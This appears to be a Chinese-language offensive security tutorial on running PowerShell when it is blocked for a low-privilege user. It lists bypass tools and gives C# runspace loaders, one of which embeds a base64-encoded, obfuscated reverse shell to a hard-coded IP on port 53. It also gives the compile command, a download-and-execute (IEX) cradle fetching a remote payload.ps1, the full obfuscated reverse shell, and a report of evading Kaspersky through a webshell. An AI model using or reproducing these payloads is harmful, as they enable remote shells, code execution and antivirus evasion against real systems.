一个面试题 低权限的用户,powershell被禁用,而且不能提权,但是就是想用powershell,怎么实现
工具
1、PowerLine (https://github.com/fullmetalcache/PowerLine)
2、PowerShdll (https://github.com/p3nt4/PowerShdll)
3、Nopowershell (https://github.com/bitsadmin/nopowershell.git)
4、SyncAppvPublishingServer(C:\Windows\System32\SyncAppvPublishingServer.vbs 以及 C:\Windows\System32\SyncAppvPublishingServer.exe)
5、调用MSBuild.exe (https://github.com/Cn33liz/MSBuildShell.git )
6、调用cscript (https://github.com/tyranid/DotNetToJScript)
Csharp演示
通过代码直接调用System.Management,替代powershell.exe
C:\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0
理解版本
using System;
using System.Management.Automation.Runspaces;
using System.Text;
namespace nopowershell
{
class Programe
{
static void Main(string[] args)
{
byte[] psrevshell = Convert.FromBase64String("U2V0LVZhcmlhYmxlIC1OYW1lIGNsaWVudCAtVmFsdWUgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTkyLjE2OC45Mi4xMjkiLDUzKSk7CiYoJ3NWJykgICgiezB9ezF9IiAtZiAncCcsJ3c0YycpICAoICBbdFlQRV0oInsxfXszfXsyfXswfSItZiAnbkcnLCdURScsKCJ7MX17Mn17MH0iIC1mICdpJywnRW4nLCdjT2QnKSwnWHQuJykgKSA7JigiezB9ezJ9ezF9ezN9IiAtZigiezB9ezF9IiAtZidTZXQnLCctJyksJ2InLCgiezF9ezB9Ii1mJ2FyaWEnLCdWJyksJ2xlJykgLVZhbHVlICgke0NgTGBJRW5UfS4oInsxfXsyfXswfSIgLWYgJ2FtJywoInswfXsxfSIgLWYnRycsJ2V0UycpLCd0cmUnKS4iaWBOYFZvS2UiKCkpIC1OYW1lICgiezB9ezF9ezJ9IiAtZiAncycsKCJ7MH17MX0iLWYndHInLCdlYScpLCdtJyk7W2J5dGVbXV0ke2JgWXRgZXN9ID0gMC4uNjU1MzV8JignJScpezB9O3doaWxlKCguKCJ7MH17Mn17M317MX0iIC1mJ1MnLCgiezB9ezF9IiAtZidpJywnYWJsZScpLCdldCcsKCJ7MH17MX0iIC1mICctJywnVmFyJykpIC1OYW1lICgnaScpIC1WYWx1ZSAoJHtzYFRgUmVhbX0uKCJ7MH17MX0iLWYnUmVhJywnZCcpLiJJTmBWb2tlIigke2JgWWBURVN9LCAwLCAke0J5YFRlc30uIkxlTmdgVEgiKSkpIC1uZSAwKXs7JigiezJ9ezB9ezF9IiAtZidWYScsKCJ7MH17MX0iLWYgJ3JpYScsJ2JsZScpLCgiezF9ezB9Ii1mICd0LScsJ1NlJykpIC1OYW1lICgiezF9ezB9Ii1mICd0YScsJ2RhJykgLVZhbHVlICgoJigiezJ9ezF9ezB9IiAtZiAnZWN0JywoInswfXsxfSItZid3LScsJ09iaicpLCdOZScpIC1UeXBlTmFtZSAoIns0fXsyfXsxfXswfXs1fXszfSIgLWYnSUVuJywnSScsKCJ7MX17MH17Mn0iIC1mJy4nLCd4dCcsJ0FTQycpLCgiezF9ezB9Ii1mICdkaW5nJywnbycpLCgiezF9ezJ9ezB9IiAtZidlJywnU3lzJywndGVtLlQnKSwnYycpKS4iZ2BlYFRTVFJpTmciKCR7YllUYEVzfSwwLCAke0l9KSk7LigiezF9ezJ9ezB9ezN9Ii1mJ2knLCdTZScsKCJ7MX17MH0iLWYncicsJ3QtVmEnKSwoInsxfXswfSIgLWYgJ2JsZScsJ2EnKSkgLVZhbHVlICguKCJ7MH17MX0iLWYnaWUnLCd4JykgJHtEYEFUQX0gMj4mMSB8IC4oInsxfXsyfXswfSItZidnJywnT3UnLCgiezB9ezF9Ii1mJ3QtU3RyaScsJ24nKSkgKSAtTmFtZSAoInswfXsxfSIgLWYgKCJ7MX17Mn17MH0iLWYgJ2MnLCdzZScsJ25kYmEnKSwnaycpOy4oInswfXszfXsxfXsyfSIgLWYnU2UnLCgiezB9ezF9Ii1mICdWYScsJ3JpYWJsJyksJ2UnLCd0LScpIC1WYWx1ZSAoJHtzRWBOREJhY2t9ICsgIlBTICIgKyAoLigiezB9ezF9IiAtZidwJywnd2QnKSkuIlBgQVRIIiArICI");
string decodedString = Encoding.UTF8.GetString(psrevshell);
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
Pipeline pipeline = rs.CreatePipeline();
pipeline.Commands.AddScript(decodedString);
pipeline.Invoke();
rs.Close();
}
}
}
命令加强版本
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.IO;
using System;
using System.Text;
namespace PSLess
{
class PSLess
{
static void Main(string[] args)
{
if(args.Length ==0)
Environment.Exit(1);
string temp = Base64Decode(args[0]);
string s=RunScript(temp);
Console.WriteLine(s);
Console.ReadKey();
}
public static string Base64Decode(string s)
{
return System.Text.Encoding.Default.GetString(System.Convert.FromBase64String(s));
}
private static string RunScript(string script)
{
Runspace MyRunspace = RunspaceFactory.CreateRunspace();
MyRunspace.Open();
Pipeline MyPipeline = MyRunspace.CreatePipeline();
MyPipeline.Commands.AddScript(script);
MyPipeline.Commands.Add("Out-String");
Collection<PSObject> outputs = MyPipeline.Invoke();
MyRunspace.Close();
StringBuilder sb = new StringBuilder();
foreach (PSObject pobject in outputs)
{
sb.AppendLine(pobject.ToString());
}
return sb.ToString();
}
}
}
编译
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /reference:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\system.management.automation.dll /out:D:/power_base64.exe d:\1.cs
使用
Ping 127.0.0.1 -n 5 && cmd /c power_base64.exe "SUVYICgobmV3LW9iamVjdCBuZXQud2ViY2xpZW50KS5kb3dubG9hZHN0cmluZygnaHR0cDovLzE5Mi4xNjguNDMuMTAwLzEvcGF5bG9hZC5wczEnKSk="
Base64编码的内容为:IEX ((new-object net.webclient).downloadstring(‘http://192.168.43.100/1/payload.ps1’)))
powershell套接字
Set-Variable -Name client -Value (New-Object System.Net.Sockets.TCPClient("192.168.92.129",53));
&('sV') ("{0}{1}" -f 'p','w4c') ( [tYPE]("{1}{3}{2}{0}"-f 'nG','TE',("{1}{2}{0}" -f 'i','En','cOd'),'Xt.') ) ;&("{0}{2}{1}{3}" -f("{0}{1}" -f'Set','-'),'b',("{1}{0}"-f'aria','V'),'le') -Value (${C`L`IEnT}.("{1}{2}{0}" -f 'am',("{0}{1}" -f'G','etS'),'tre')."i`N`VoKe"()) -Name ("{0}{1}{2}" -f 's',("{0}{1}"-f'tr','ea'),'m');[byte[]]${b`Yt`es} = 0..65535|&('%'){0};while((.("{0}{2}{3}{1}" -f'S',("{0}{1}" -f'i','able'),'et',("{0}{1}" -f '-','Var')) -Name ('i') -Value (${s`T`Ream}.("{0}{1}"-f'Rea','d')."IN`Voke"(${b`Y`TES}, 0, ${By`Tes}."LeNg`TH"))) -ne 0){;&("{2}{0}{1}" -f'Va',("{0}{1}"-f 'ria','ble'),("{1}{0}"-f 't-','Se')) -Name ("{1}{0}"-f 'ta','da') -Value ((&("{2}{1}{0}" -f 'ect',("{0}{1}"-f'w-','Obj'),'Ne') -TypeName ("{4}{2}{1}{0}{5}{3}" -f'IEn','I',("{1}{0}{2}" -f'.','xt','ASC'),("{1}{0}"-f 'ding','o'),("{1}{2}{0}" -f'e','Sys','tem.T'),'c'))."g`e`TSTRiNg"(${bYT`Es},0, ${I}));.("{1}{2}{0}{3}"-f'i','Se',("{1}{0}"-f'r','t-Va'),("{1}{0}" -f 'ble','a')) -Value (.("{0}{1}"-f'ie','x') ${D`ATA} 2>&1 | .("{1}{2}{0}"-f'g','Ou',("{0}{1}"-f't-Stri','n')) ) -Name ("{0}{1}" -f ("{1}{2}{0}"-f 'c','se','ndba'),'k');.("{0}{3}{1}{2}" -f'Se',("{0}{1}"-f 'Va','riabl'),'e','t-') -Value (${sE`NDBack} + "PS " + (.("{0}{1}" -f'p','wd'))."P`ATH" + "> ") -Name ("{0}{1}"-f'se',("{0}{2}{1}"-f'n','ack2','db'));&("{1}{2}{3}{0}"-f 'le',("{0}{1}"-f 'Set-','Va'),'ri','ab') -Name ("{1}{0}"-f ("{0}{1}"-f'ndbyt','e'),'se') -Value (( ( .("{0}{1}" -f'i','tEm') ("{4}{2}{1}{0}{3}"-f'W4','Ble:p','IA','C','vaR') )."vAL`UE"::"Asc`II").("{0}{1}" -f("{0}{1}"-f 'Get','By'),'tes')."in`VOKE"(${SEN`D`BAck2}));${str`eam}.("{0}{1}" -f'Wri','te')."InV`OKE"(${S`en`D`BYTE},0,${SeN`D`ByTe}."lE`NGtH");${ST`R`EaM}.("{0}{1}" -f ("{0}{1}"-f'F','lus'),'h')."IN`V`oKe"()};${cl`I`eNT}.("{0}{1}" -f'C',("{0}{1}"-f 'los','e'))."I`N`Voke"()
实战
目标存在卡巴斯基
当我们在webshell执行powershell命令的时候会被拦截
但用C#起到的nopowershell环境则可以收到请求
成功执行powershell函数